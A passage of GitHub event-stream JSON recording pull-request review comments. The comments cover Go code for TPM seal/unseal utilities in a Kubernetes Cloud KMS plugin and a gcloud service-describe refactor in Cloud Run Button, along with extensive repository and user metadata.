tpm2.HandleOwner, tpm2.PCRSelection{}, \"\", srkPassword, srkTemplate)\n+\tif err != nil {\n+\t\treturn nil, fmt.Errorf(\"can't create primary key: %v\", err)\n+\t}\n+\tdefer func() {\n+\t\tif err := tpm2.FlushContext(rwc, srkHandle); err != nil {\n+\t\t\tretErr = fmt.Errorf(\"%v\\nunable to flush SRK handle %q: %v\", retErr, srkHandle, err)\n+\t\t}\n+\t}()\n+\tglog.Infof(\"Created parent key with handle: 0x%x\\n\", srkHandle)\n+\n+\t// Load the sealed data into the TPM.\n+\tobjectHandle, _, err := tpm2.Load(rwc, srkHandle, srkPassword, publicArea, privateArea)\n+\tif err != nil {\n+\t\treturn nil, fmt.Errorf(\"unable to load data: %v\", err)\n+\t}\n+\tdefer func() {\n+\t\tif err := tpm2.FlushContext(rwc, objectHandle); err != nil {\n+\t\t\tretErr = fmt.Errorf(\"%v\\nunable to flush object handle %q: %v\", retErr, objectHandle, err)\n+\t\t}\n+\t}()\n+\tglog.Infof(\"Loaded sealed data with handle: 0x%x\\n\", objectHandle)\n+\n+\t// Create the authorization session\n+\tsessHandle, _, err := policyPCRPasswordSession(rwc, pcr, objectPassword)\n+\tif err != nil {\n+\t\treturn nil, fmt.Errorf(\"unable to get auth session: %v\", err)\n+\t}\n+\tdefer func() {\n+\t\tif err := tpm2.FlushContext(rwc, sessHandle); err != nil {\n+\t\t\tretErr = fmt.Errorf(\"%v\\nunable to flush session: %v\", retErr, err)\n+\t\t}\n+\t}()\n+\n+\t// Unseal the data\n+\tunsealedData, err := tpm2.UnsealWithSession(rwc, sessHandle, objectHandle, objectPassword)\n+\tif err != nil {\n+\t\treturn nil, fmt.Errorf(\"unable to Unseal data: %v\", err)\n+\t}\n+\treturn unsealedData, nil\n+}\n+\n+// Returns session handle and policy digest.\n+func policyPCRPasswordSession(rwc io.ReadWriteCloser, pcr int, password string) (sessHandle tpmutil.Handle, policy []byte, retErr error) {\n+\t// FYI, this is not a very secure session.\n+\tsessHandle, _, err := tpm2.StartAuthSession(\n+\t\trwc,\n+\t\ttpm2.HandleNull, /*tpmKey*/\n+\t\ttpm2.HandleNull, /*bindKey*/\n+\t\tmake([]byte, 16), /*nonceCaller*/\n+\t\tnil, /*secret*/\n+\t\ttpm2.SessionPolicy,\n+\t\ttpm2.AlgNull,\n+\t\ttpm2.AlgSHA256)\n+\tif err != nil {\n+\t\treturn tpm2.HandleNull, nil, fmt.Errorf(\"unable to start session: %v\", err)\n+\t}\n+\tdefer func() {\n+\t\tif sessHandle != tpm2.HandleNull && err != nil {","path":"tpm/tpm.go","position":173,"original_position":173,"commit_id":"4b692658b0b782c49a1065614abae4f537c0c8d9","original_commit_id":"4b692658b0b782c49a1065614abae4f537c0c8d9","user":{"login":"awly","id":1146263,"node_id":"MDQ6VXNlcjExNDYyNjM=","avatar_url":"https://avatars2.githubusercontent.com/u/1146263?v=4","gravatar_id":"","url":"https://api.github.com/users/awly","html_url":"https://github.com/awly","followers_url":"https://api.github.com/users/awly/followers","following_url":"https://api.github.com/users/awly/following{/other_user}","gists_url":"https://api.github.com/users/awly/gists{/gist_id}","starred_url":"https://api.github.com/users/awly/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/awly/subscriptions","organizations_url":"https://api.github.com/users/awly/orgs","repos_url":"https://api.github.com/users/awly/repos","events_url":"https://api.github.com/users/awly/events{/privacy}","received_events_url":"https://api.github.com/users/awly/received_events","type":"User","site_admin":false},"body":"`if retErr != nil`","created_at":"2019-04-24T23:07:20Z","updated_at":"2019-04-24T23:08:43Z","html_url":"https://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin/pull/17#discussion_r278350520","pull_request_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls/17","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls/comments/278350520"},"html":{"href":"https://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin/pull/17#discussion_r278350520"},"pull_request":{"href":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls/17"}}},"pull_request":{"url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls/17","id":273255839,"node_id":"MDExOlB1bGxSZXF1ZXN0MjczMjU1ODM5","html_url":"https://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin/pull/17","diff_url":"https://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin/pull/17.diff","patch_url":"https://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin/pull/17.patch","issue_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/issues/17","number":17,"state":"open","locked":false,"title":"Add tpmseal and tpmunseal utilities.","user":{"login":"immutableT","id":24857912,"node_id":"MDQ6VXNlcjI0ODU3OTEy","avatar_url":"https://avatars1.githubusercontent.com/u/24857912?v=4","gravatar_id":"","url":"https://api.github.com/users/immutableT","html_url":"https://github.com/immutableT","followers_url":"https://api.github.com/users/immutableT/followers","following_url":"https://api.github.com/users/immutableT/following{/other_user}","gists_url":"https://api.github.com/users/immutableT/gists{/gist_id}","starred_url":"https://api.github.com/users/immutableT/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/immutableT/subscriptions","organizations_url":"https://api.github.com/users/immutableT/orgs","repos_url":"https://api.github.com/users/immutableT/repos","events_url":"https://api.github.com/users/immutableT/events{/privacy}","received_events_url":"https://api.github.com/users/immutableT/received_events","type":"User","site_admin":false},"body":"tpmseal utility could be used during the configuration of kms-plugin to seal an SA export to TPM.\r\n\r\nIn the follow-up PRs kms-plugin will be configured to optionally levege sealed SA export to authenticate to CloudKMS.","created_at":"2019-04-24T18:47:24Z","updated_at":"2019-04-24T23:08:42Z","closed_at":null,"merged_at":null,"merge_commit_sha":"4979c115545df25d5286ba5bb7ada59cad677d5a","assignee":{"login":"awly","id":1146263,"node_id":"MDQ6VXNlcjExNDYyNjM=","avatar_url":"https://avatars2.githubusercontent.com/u/1146263?v=4","gravatar_id":"","url":"https://api.github.com/users/awly","html_url":"https://github.com/awly","followers_url":"https://api.github.com/users/awly/followers","following_url":"https://api.github.com/users/awly/following{/other_user}","gists_url":"https://api.github.com/users/awly/gists{/gist_id}","starred_url":"https://api.github.com/users/awly/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/awly/subscriptions","organizations_url":"https://api.github.com/users/awly/orgs","repos_url":"https://api.github.com/users/awly/repos","events_url":"https://api.github.com/users/awly/events{/privacy}","received_events_url":"https://api.github.com/users/awly/received_events","type":"User","site_admin":false},"assignees":[{"login":"awly","id":1146263,"node_id":"MDQ6VXNlcjExNDYyNjM=","avatar_url":"https://avatars2.githubusercontent.com/u/1146263?v=4","gravatar_id":"","url":"https://api.github.com/users/awly","html_url":"https://github.com/awly","followers_url":"https://api.github.com/users/awly/followers","following_url":"https://api.github.com/users/awly/following{/other_user}","gists_url":"https://api.github.com/users/awly/gists{/gist_id}","starred_url":"https://api.github.com/users/awly/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/awly/subscriptions","organizations_url":"https://api.github.com/users/awly/orgs","repos_url":"https://api.github.com/users/awly/repos","events_url":"https://api.github.com/users/awly/events{/privacy}","received_events_url":"https://api.github.com/users/awly/received_events","type":"User","site_admin":false},{"login":"immutableT","id":24857912,"node_id":"MDQ6VXNlcjI0ODU3OTEy","avatar_url":"https://avatars1.githubusercontent.com/u/24857912?v=4","gravatar_id":"","url":"https://api.github.com/users/immutableT","html_url":"https://github.com/immutableT","followers_url":"https://api.github.com/users/immutableT/followers","following_url":"https://api.github.com/users/immutableT/following{/other_user}","gists_url":"https://api.github.com/users/immutableT/gists{/gist_id}","starred_url":"https://api.github.com/users/immutableT/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/immutableT/subscriptions","organizations_url":"https://api.github.com/users/immutableT/orgs","repos_url":"https://api.github.com/users/immutableT/repos","events_url":"https://api.github.com/users/immutableT/events{/privacy}","received_events_url":"https://api.github.com/users/immutableT/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls/17/commits","review_comments_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls/17/comments","review_comment_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls/comments{/number}","comments_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/issues/17/comments","statuses_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/statuses/4b692658b0b782c49a1065614abae4f537c0c8d9","head":{"label":"GoogleCloudPlatform:tpm-integration","ref":"tpm-integration","sha":"4b692658b0b782c49a1065614abae4f537c0c8d9","user":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"repo":{"id":123325995,"node_id":"MDEwOlJlcG9zaXRvcnkxMjMzMjU5OTU=","name":"k8s-cloudkms-plugin","full_name":"GoogleCloudPlatform/k8s-cloudkms-plugin","private":false,"owner":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin","description":"K8S KMS Plugin for Google CloudKMS","fork":false,"url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin","forks_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/forks","keys_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/keys{/key_id}","collaborators_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/teams","hooks_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/hooks","issue_events_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/issues/events{/number}","events_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/events","assignees_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/assignees{/user}","branches_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/branches{/branch}","tags_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/tags","blobs_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/git/refs{/sha}","trees_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/git/trees{/sha}","statuses_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/statuses/{sha}","languages_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/languages","stargazers_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/stargazers","contributors_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/contributors","subscribers_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/subscribers","subscription_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/subscription","commits_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/commits{/sha}","git_commits_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/git/commits{/sha}","comments_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/comments{/number}","issue_comment_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/issues/comments{/number}","contents_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/contents/{+path}","compare_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/compare/{base}...{head}","merges_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/merges","archive_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/downloads","issues_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/issues{/number}","pulls_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls{/number}","milestones_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/milestones{/number}","notifications_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/labels{/name}","releases_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/releases{/id}","deployments_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/deployments","created_at":"2018-02-28T18:35:45Z","updated_at":"2019-04-16T01:44:22Z","pushed_at":"2019-04-24T18:47:25Z","git_url":"git://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin.git","ssh_url":"git@github.com:GoogleCloudPlatform/k8s-cloudkms-plugin.git","clone_url":"https://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin.git","svn_url":"https://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin","homepage":"","size":2914,"stargazers_count":24,"watchers_count":24,"language":"Go","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":3,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":15,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":3,"open_issues":15,"watchers":24,"default_branch":"master"}},"base":{"label":"GoogleCloudPlatform:master","ref":"master","sha":"4523ba7c8b412ff09d6730879039bcacbc046ac4","user":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"repo":{"id":123325995,"node_id":"MDEwOlJlcG9zaXRvcnkxMjMzMjU5OTU=","name":"k8s-cloudkms-plugin","full_name":"GoogleCloudPlatform/k8s-cloudkms-plugin","private":false,"owner":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin","description":"K8S KMS Plugin for Google CloudKMS","fork":false,"url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin","forks_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/forks","keys_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/keys{/key_id}","collaborators_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/teams","hooks_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/hooks","issue_events_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/issues/events{/number}","events_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/events","assignees_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/assignees{/user}","branches_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/branches{/branch}","tags_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/tags","blobs_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/git/refs{/sha}","trees_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/git/trees{/sha}","statuses_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/statuses/{sha}","languages_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/languages","stargazers_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/stargazers","contributors_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/contributors","subscribers_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/subscribers","subscription_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/subscription","commits_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/commits{/sha}","git_commits_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/git/commits{/sha}","comments_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/comments{/number}","issue_comment_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/issues/comments{/number}","contents_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/contents/{+path}","compare_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/compare/{base}...{head}","merges_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/merges","archive_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/downloads","issues_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/issues{/number}","pulls_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls{/number}","milestones_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/milestones{/number}","notifications_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/labels{/name}","releases_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/releases{/id}","deployments_url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/deployments","created_at":"2018-02-28T18:35:45Z","updated_at":"2019-04-16T01:44:22Z","pushed_at":"2019-04-24T18:47:25Z","git_url":"git://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin.git","ssh_url":"git@github.com:GoogleCloudPlatform/k8s-cloudkms-plugin.git","clone_url":"https://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin.git","svn_url":"https://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin","homepage":"","size":2914,"stargazers_count":24,"watchers_count":24,"language":"Go","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":3,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":15,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":3,"open_issues":15,"watchers":24,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls/17"},"html":{"href":"https://github.com/GoogleCloudPlatform/k8s-cloudkms-plugin/pull/17"},"issue":{"href":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/issues/17"},"comments":{"href":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/issues/17/comments"},"review_comments":{"href":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls/17/comments"},"review_comment":{"href":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls/17/commits"},"statuses":{"href":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/statuses/4b692658b0b782c49a1065614abae4f537c0c8d9"}},"author_association":"MEMBER"}}
|
{
"id": 123325995,
"name": "GoogleCloudPlatform/k8s-cloudkms-plugin",
"url": "https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin"
}
|
{
"id": 1146263,
"login": "awly",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1146263?",
"url": "https://api.github.com/users/awly"
}
|
{
"id": 2810941,
"login": "GoogleCloudPlatform",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2810941?",
"url": "https://api.github.com/orgs/GoogleCloudPlatform"
}
| 2019-04-24T23:07:20 |
9506202858
|
{"actor":{"display_login":"awly"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/GoogleCloudPlatform/cloud-run-button/pulls/comments/364920669","pull_request_review_id":340762502,"id":364920669,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM2NDkyMDY2OQ==","diff_hunk":"@@ -102,18 +139,57 @@ func promptDeploymentRegion(ctx context.Context, project string) (string, error)\n \treturn choice, nil\n }\n \n-func serviceURL(project, name, region string) (string, error) {\n+\n+func describe(project, name, region string) (service, error) {\n+\tvar service service\n+\tvar o bytes.Buffer\n+\tvar e bytes.Buffer\n+\n \tcmd := exec.Command(\"gcloud\", \"run\", \"services\", \"describe\", name,\n \t\t\"--project\", project,\n \t\t\"--platform\", \"managed\",\n \t\t\"--region\", region,\n-\t\t\"--format\", \"value(status.address.url)\")\n+\t\t\"--format=json\")\n+\n+\tcmd.Stdout = &o\n+\tcmd.Stderr = &e\n+\tif err := cmd.Run(); err != nil {\n+\t\treturn service, fmt.Errorf(\"error describing service: %+v. output=\\n%s\", err, e.String())\n+\t}\n+\n+\tif err := json.NewDecoder(&o).Decode(&service); err != nil {\n+\t\treturn service, fmt.Errorf(\"error decoding gcloud --format=json output: %+v\", err)\n+\t}\n+\n+\treturn service, nil\n+}\n+\n+func serviceURL(project, name, region string) (string, error) {\n+\tservice, err := describe(project, name, region)\n \n-\tb, err := cmd.CombinedOutput()\n \tif err != nil {\n-\t\treturn \"\", fmt.Errorf(\"deployment to Cloud Run failed: %+v. output:\\n%s\", err, string(b))\n+\t\treturn \"\", err\n \t}\n-\treturn strings.TrimSpace(string(b)), nil\n+\n+\treturn service.Status.Address.Url, nil\n+}\n+\n+func envVars(project, name, region string) (map[string]struct{}, error) {\n+\tservice, err := describe(project, name, region)\n+\n+\tif err != nil {\n+\t\treturn map[string]struct{}{}, err","path":"cmd/cloudshell_open/cloudrun.go","position":128,"original_position":128,"commit_id":"0128f07f20a8d773a9f23ab8f45d56bf613b62e8","original_commit_id":"abb73bd20d2ecea83a068d7b50ce357431227ae4","user":{"login":"jamesward","id":65043,"node_id":"MDQ6VXNlcjY1MDQz","avatar_url":"https://avatars2.githubusercontent.com/u/65043?v=4","gravatar_id":"","url":"https://api.github.com/users/jamesward","html_url":"https://github.com/jamesward","followers_url":"https://api.github.com/users/jamesward/followers","following_url":"https://api.github.com/users/jamesward/following{/other_user}","gists_url":"https://api.github.com/users/jamesward/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesward/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesward/subscriptions","organizations_url":"https://api.github.com/users/jamesward/orgs","repos_url":"https://api.github.com/users/jamesward/repos","events_url":"https://api.github.com/users/jamesward/events{/privacy}","received_events_url":"https://api.github.com/users/jamesward/received_events","type":"User","site_admin":false},"body":"```suggestion\r\n\t\treturn nil, err\r\n```","created_at":"2020-01-09T19:29:45Z","updated_at":"2020-01-09T19:29:46Z","html_url":"https://github.com/GoogleCloudPlatform/cloud-run-button/pull/88#discussion_r364920669","pull_request_url":"https://api.github.com/repos/GoogleCloudPlatform/cloud-run-button/pulls/88","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/GoogleCloudPlatform/cloud-run-button/pulls/comments/364920669"},"html":{"href":"https://github.com/GoogleCloudPlatform/cloud-run-button/pull/88#discussion_r364920669"},"pull_request":{"href":"https://api.github.com/repos/GoogleCloudPlatform/cloud-run-button/pulls/88"}},"in_reply_to_id":364907167},"pull_request":{"url":"https://api.github.com/repos/GoogleCloudPlatform/cloud-run-button/pulls/88","id":320815334,"node_id":"MDExOlB1bGxSZXF1ZXN0MzIwODE1MzM0","html_url":"https://github.com/GoogleCloudPlatform/cloud-run-button/pull/88","diff_url":"https://github.com/GoogleCloudPlatform/cloud-run-button/pull/88.diff","patch_url":"https://github.com/GoogleCloudPlatform/cloud-run-button/pull/88.patch","issue_url":"https://api.github.com/repos/GoogleCloudPlatform/cloud-run-button/issues/88","number":88,"state":"open","locked":false,"title":"add env secret generator","user":{"login":"jamesward","id":65043,"node_id":"MDQ6VXNlcjY1MDQz","avatar_url":"https://avatars2.githubusercontent.com/u/65043?v=4","gravatar_id":"","url":"https://api.github.com/users/jamesward","html_url":"https://github.com/jamesward","followers_url":"https://api.github.com/users/jamesward/followers","following_url":"https://api.github.com/users/jamesward/following{/other_user}","gists_url":"https://api.github.com/users/jamesward/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesward/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesward/subscriptions","organizations_url":"https://api.github.com/users/jamesward/orgs","repos_url":"https://api.github.com/users/jamesward/repos","events_url":"https://api.github.com/users/jamesward/events{/privacy}","received_events_url":"https://api.github.com/users/jamesward/received_events","type":"User","site_admin":false},"body":"Tested with https://github.com/jamesward/cloud-run-button-secret-test","created_at":"2019-09-24T14:57:00Z","updated_at":"2020-01-09T19:29:46Z","closed_at":null,"merged_at":null,"merge_commit_sha":"8b2d41748bf00c5acf006e53f63956362356776d","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":1537078927,"node_id":"MDU6TGFiZWwxNTM3MDc4OTI3","url":"https://api.github.com/repos/GoogleCloudPlatform/cloud-run-button/labels/cla:%20yes","name":"cla: 